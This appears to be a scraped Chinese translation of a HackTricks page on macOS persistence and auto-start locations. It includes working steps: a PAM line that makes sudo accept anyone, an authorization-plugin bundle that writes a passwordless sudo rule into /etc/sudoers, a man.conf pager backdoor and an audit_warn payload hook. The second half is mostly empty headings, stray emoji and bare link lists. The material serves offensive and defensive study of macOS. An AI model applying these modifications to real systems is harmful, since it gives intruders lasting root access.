  • 始终需要root权限

描述和利用

由于PAM更专注于持久性和恶意软件,而不是在macOS内部轻松执行,因此本博客不会提供详细解释,请阅读这些文章以更好地理解这种技术。

使用以下命令检查PAM模块:

ls -l /etc/pam.d

一种滥用PAM的持久性/权限提升技术很简单,只需修改模块/etc/pam.d/sudo,在开头添加以下行:

auth       sufficient     pam_permit.so

所以它会看起来像这样:

# sudo: auth account password session
auth       sufficient     pam_permit.so
auth       include        sudo_local
auth       sufficient     pam_smartcard.so
auth       required       pam_opendirectory.so
account    required       pam_permit.so
password   required       pam_deny.so
session    required       pam_permit.so

因此,任何尝试使用**sudo的操作**都会生效。

请注意,该目录受TCC保护,因此用户很可能会收到要求访问权限的提示。

授权插件

  • 但需要以root身份进行额外配置

  • TCC绕过:???

位置

  • /Library/Security/SecurityAgentPlugins/

  • 需要root权限

  • 还需要配置授权数据库以使用插件

描述和利用

您可以创建一个授权插件,在用户登录时执行以保持持久性。有关如何创建这些插件之一的更多信息,请查看先前的写作(请注意,编写不当的插件可能会将您锁在外面,您将需要从恢复模式清理您的Mac)。

// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/

#import <Foundation/Foundation.h>

__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}

将bundle移动到要加载的位置:

cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/

最后添加加载此插件的规则:

cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF

security authorizationdb write com.asdf.asdf < /tmp/rule.plist

evaluate-mechanisms 会告诉授权框架需要调用外部机制进行授权。此外,privileged 会使其由 root 执行。

使用以下命令触发:

security authorize com.asdf.asdf

然后staff组应该具有sudo权限(阅读/etc/sudoers以确认)。

Man.conf

  • 但您需要是root用户,且用户必须使用man

位置

  • /private/etc/man.conf

  • 需要root权限

  • /private/etc/man.conf:每当使用man时

描述和利用

配置文件**/private/etc/man.conf**指示打开man文档文件时要使用的二进制/脚本。因此,可修改可执行文件的路径,以便每当用户使用man阅读文档时,将执行后门。

例如,在**/private/etc/man.conf**中设置:

MANPAGER /tmp/view

然后创建 /tmp/view 如下:

#!/bin/zsh

touch /tmp/manconf

/usr/bin/less -s

Apache2

  • 但需要 root 权限和 apache 需要在运行

  • Httpd 没有授权

位置

  • /etc/apache2/httpd.conf

  • 需要 root 权限

  • 触发条件:当 Apache2 启动时

描述 & 攻击

您可以在 /etc/apache2/httpd.conf 中指定加载一个模块,添加一行代码,例如:

LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"

这样,您编译的模块将由Apache加载。唯一的问题是,您需要使用有效的苹果证书进行签名,或者您需要在系统中添加一个新的受信任证书并用其进行签名。

然后,如果需要确保服务器将启动,您可以执行:

sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist

Dylb的代码示例:

#include <stdio.h>
#include <syslog.h>

__attribute__((constructor))
static void myconstructor(int argc, const char **argv)
{
printf("[+] dylib constructor called from %s\n", argv[0]);
syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]);
}

BSM审计框架

  • 但需要root权限,auditd正在运行并引发警告

位置

  • /etc/security/audit_warn

  • 需要Root权限

  • 触发条件: 当auditd检测到警告时

描述 & 攻击

每当auditd检测到警告时,脚本 /etc/security/audit_warn 会被 执行。因此,您可以在其中添加您的有效负载。

echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn

启动项

此功能已被弃用,因此这些目录中不应该找到任何内容。

StartupItem 是一个目录,应该位于 /Library/StartupItems/ 或 /System/Library/StartupItems/ 中的一个。一旦建立了这个目录,它必须包含两个特定的文件:

  1. 一个 rc 脚本:在启动时执行的 shell 脚本。

  2. 一个名为 StartupParameters.plist 的 plist 文件,其中包含各种配置设置。

确保将 rc 脚本和 StartupParameters.plist 文件正确放置在 StartupItem 目录中,以便启动过程识别并利用它们。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Description</key>
<string>This is a description of this service</string>
<key>OrderPreference</key>
<string>None</string> <!--Other req services to execute before this -->
<key>Provides</key>
<array>
<string>superservicename</string> <!--Name of the services provided by this file -->
</array>
</dict>
</plist>

在 macOS 上,有多个位置可以用来自动启动应用程序或服务。以下是一些常见的自动启动位置:

  1. 登录项:这些是在用户登录时自动启动的应用程序或服务。可以在“系统偏好设置” > “用户与群组” > “登录项”中管理。

  2. 启动代理:这些是在系统启动时自动启动的应用程序或服务。它们通常由 Launchd 管理,配置文件位于 /Library/LaunchAgents 和 /Library/LaunchDaemons 中。

  3. 启动项:这些是在系统启动时自动启动的应用程序或服务。它们通常由 Launchd 管理,配置文件位于 /System/Library/LaunchAgents 和 /System/Library/LaunchDaemons 中。

  4. 定时任务:使用 cron 或 launchd 可以创建定时任务,定时执行特定的脚本或命令。

检查和管理这些自动启动位置对于确保系统安全性和性能至关重要。

#!/bin/sh
. /etc/rc.common

StartService(){
touch /tmp/superservicestarted
}

StopService(){
rm /tmp/superservicestarted
}

RestartService(){
echo "Restarting"
}

RunService "$1"

emond

我在我的 macOS 中找不到这个组件,想了解更多信息请查看 writeup

由 Apple 引入,emond 是一个日志记录机制,似乎是未开发完全或可能被放弃,但仍然可以访问。虽然对于 Mac 管理员来说并不特别有益,但这个鲜为人知的服务可能作为威胁行为者的微妙持久性方法,很可能不被大多数 macOS 管理员注意到。

对于知道其存在的人来说,识别 emond 的任何恶意使用是直截了当的。该服务的 LaunchDaemon 寻找要在单个目录中执行的脚本。要检查这一点,可以使用以下命令:

ls -l /private/var/db/emondClients

XQuartz

位置

  • /opt/X11/etc/X11/xinit/privileged_startx.d

  • 需要 root 权限

  • 触发条件:使用 XQuartz

描述 & 攻击

XQuartz 不再在 macOS 中安装,如果需要更多信息,请查看 writeup。

kext

即使作为 root 安装 kext 也很复杂,我不认为这是逃离沙盒或实现持久性的好方法(除非你有漏洞利用)

位置

要将 KEXT 安装为启动项,需要将其安装在以下位置之一:

  • /System/Library/Extensions

  • 内置于 OS X 操作系统中的 KEXT 文件。

  • /Library/Extensions

  • 第三方软件安装的 KEXT 文件

您可以使用以下命令列出当前加载的 kext 文件:

kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle

amstoold

位置

  • /usr/local/bin/amstoold

  • 需要 root 权限

描述 & 利用

显然,/System/Library/LaunchAgents/com.apple.amstoold.plist 中的 plist 使用了这个二进制文件,同时暴露了一个 XPC 服务... 问题在于该二进制文件并不存在,因此您可以在那里放置一些内容,当调用 XPC 服务时,您的二进制文件将被调用。

我在我的 macOS 中找不到这个了。

xsanctl

位置

  • /Library/Preferences/Xsan/.xsanrc

  • 需要 root 权限

  • 触发条件:当服务运行时(很少)

描述 & 利用

显然,运行此脚本并不是很常见,我甚至在我的 macOS 中找不到它,因此如果您想获取更多信息,请查看 writeup。

/etc/rc.common

在现代 MacOS 版本中不起作用

也可以在这里放置将在启动时执行的命令。 例如常规 rc.common 脚本:

#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#

######################
# Configure the shell #
######################

#
# Be strict
#
#set -e
set -u

#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH

#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
#    TERM=$(tset - -Q); export TERM
#fi

###################
# Useful functions #
###################

#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
local test

if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
}

alias ConsoleMessage=echo

#
# Process management
#
GetPID ()
{
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local     pid=""

if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi

if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
}

#
# Generic action handler
#
RunService ()
{
case $1 in
start  ) StartService   ;;
stop   ) StopService    ;;
restart) RestartService ;;
*      ) echo "$0: unknown argument: $1";;
esac
}

持久化技术和工具

有时需要在用户登录之前执行代理,这些被称为PreLoginAgents。例如,这对于在登录时提供辅助技术很有用。它们也可以在/Library/LaunchAgents中找到(请参见的示例)。

Writeup: Writeup (xterm):

用于绕过沙盒:

TCC 绕过:

Writeup:

用于绕过沙盒:

TCC绕过:

有用于绕过沙盒:

TCC绕过:

用于绕过沙盒的有用技术:

TCC绕过:

如果您创建一个并打开它,终端应用程序将自动调用以执行其中指定的命令。如果终端应用程序具有一些特殊权限(如TCC),您的命令将以这些特殊权限运行。

Writeup: Writeup:

用于绕过沙盒:

TCC绕过:

Writeup:

用于绕过沙盒:

TCC绕过:

Writeup:

用于绕过沙盒:

TCC绕过:

Writeup:

用于绕过沙盒的有用性:

TCC绕过:

Writeup:

用于绕过沙盒:

TCC绕过:

Writeup:

用于绕过沙盒的有用性:

TCC 绕过:

如果安装了流行的程序 ,则可以在 ~/Library/Application\ Support/xbar/plugins/ 中编写一个 shell 脚本,在 xbar 启动时执行:

Writeup:

有用于绕过沙盒:

TCC 绕过:

作为 macOS 的自动化平台,利用 LUA 脚本语言 进行操作。值得注意的是,它支持完整 AppleScript 代码的集成和 shell 脚本的执行,显著增强了其脚本编写能力。

用于绕过沙盒:

TCC绕过:

用于绕过沙盒:

TCC绕过:

Writeup:

用于绕过沙盒:

TCC绕过:

Writeup:

用于绕过沙盒:

TCC 绕过:

登录项也可以使用API 进行指示,该API将在**/var/db/com.apple.xpc.launchd/loginitems.501.plist**中存储配置。

详细信息:

用于绕过沙盒:

TCC绕过:

Writeup: Writeup:

有用于绕过沙箱:

TCC绕过:

使用 制作文件夹操作工作流,并将其安装为服务。

报告:

用于绕过沙盒的有用性:

TCC绕过:

解读:

用于绕过沙盒:

TCC绕过:

编译一个颜色选择器捆绑包与你的代码(你可以使用),并添加一个构造函数(就像中一样),然后将捆绑包复制到~/Library/ColorPickers。

Writeup: Writeup:

一个带有Finder Sync Extension的应用程序示例。

Writeup: Writeup:

有用于绕过沙盒:

TCC绕过:

writeup:

有用于绕过沙盒:

TCC绕过:

如果您检查其他mdimporter的Plist文件,您可能找不到**UTTypeConformsTo**条目。这是因为这是一个内置的_统一类型标识符_(),不需要指定扩展名。

要创建自己的导入器,您可以从这个项目开始:,然后更改名称,CFBundleDocumentTypes并添加UTImportedTypeDeclarations,以便支持您想要支持的扩展名,并在**schema.xml中反映它们。 然后更改函数GetMetadataForFile**的代码,以在创建具有已处理扩展名的文件时执行您的有效负载。

撰写:

用于绕过沙箱:

TCC绕过:

撰写:

用于绕过沙箱:

TCC绕过:

Writeup: Writeup:

有用于绕过沙箱:

TCC绕过:

Writeup: Writeup:

有用于绕过沙盒:

Writeup:

有用于绕过沙盒:

TCC绕过:

Writeup:

有用于绕过沙盒:

TCC 绕过:

Writeup:

有助于绕过沙盒:

TCC绕过:

Writeup:

Writeup:

Writeup:

Writeup:

从零开始学习AWS黑客技术,成为专家 !

支持HackTricks的其他方式:

如果您想在HackTricks中看到您的公司广告或下载PDF版本的HackTricks,请查看!

获取

探索,我们的独家

加入 💬 或 或 关注我们的Twitter 🐦 .

通过向和 github仓库提交PR来分享您的黑客技巧。

🍏
htARTE(HackTricks AWS红队专家)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
超越传统的LaunchAgents
✅
🔴
此处
https://theevilbit.github.io/beyond/beyond_0001/
https://theevilbit.github.io/beyond/beyond_0018/
✅
✅
https://theevilbit.github.io/beyond/beyond_0021/
✅
🔴
✅
✅
✅
✅
**.terminal**脚本
https://theevilbit.github.io/beyond/beyond_0013/
https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
✅
🟠
https://theevilbit.github.io/beyond/beyond_0028/
✅
🟠
https://theevilbit.github.io/beyond/beyond_0022/
✅
🔴
https://theevilbit.github.io/beyond/beyond_0004/
✅
🔴
https://theevilbit.github.io/beyond/beyond_0002/
✅
✅
https://theevilbit.github.io/beyond/beyond_0007/
✅
✅
xbar
https://theevilbit.github.io/beyond/beyond_0008/
✅
✅
Hammerspoon
✅
✅
✅
✅
https://theevilbit.github.io/beyond/beyond_0006/
✅
✅
https://theevilbit.github.io/beyond/beyond_0003/
✅
🔴
SMLoginItemSetEnabled
https://theevilbit.github.io/beyond/beyond_0014/
✅
🔴
https://theevilbit.github.io/beyond/beyond_0024/
https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d
✅
🟠
Automator
https://theevilbit.github.io/beyond/beyond_0027/
✅
🔴
https://theevilbit.github.io/beyond/beyond_0017
🟠
🔴
https://theevilbit.github.io/beyond/beyond_0026/
https://objective-see.org/blog/blog_0x11.html
可以在这里找到
https://theevilbit.github.io/beyond/beyond_0016/
https://posts.specterops.io/saving-your-access-d562bf5bf90b
🟠
🔴
https://theevilbit.github.io/beyond/beyond_0011/
🟠
🔴
UTI
https://github.com/megrimm/pd-spotlight-importer
https://theevilbit.github.io/beyond/beyond_0009/
🟠
🔴
https://theevilbit.github.io/beyond/beyond_0019/
🟠
🔴
Linux Hacktricks PAM
https://theevilbit.github.io/beyond/beyond_0005/
🟠
🔴
https://theevilbit.github.io/beyond/beyond_0028/
https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65
🟠
https://theevilbit.github.io/beyond/beyond_0030/
🟠
🔴
https://theevilbit.github.io/beyond/beyond_0023/
🟠
🔴
https://theevilbit.github.io/beyond/beyond_0031/
🟠
🔴
https://theevilbit.github.io/beyond/beyond_0023/
https://theevilbit.github.io/beyond/beyond_0018/
https://theevilbit.github.io/beyond/beyond_0029/
https://theevilbit.github.io/beyond/beyond_0015/
https://github.com/cedowens/Persistent-Swift
https://github.com/D00MFist/PersistentJXA
htARTE (HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
这个作为例子
屏幕保护程序部分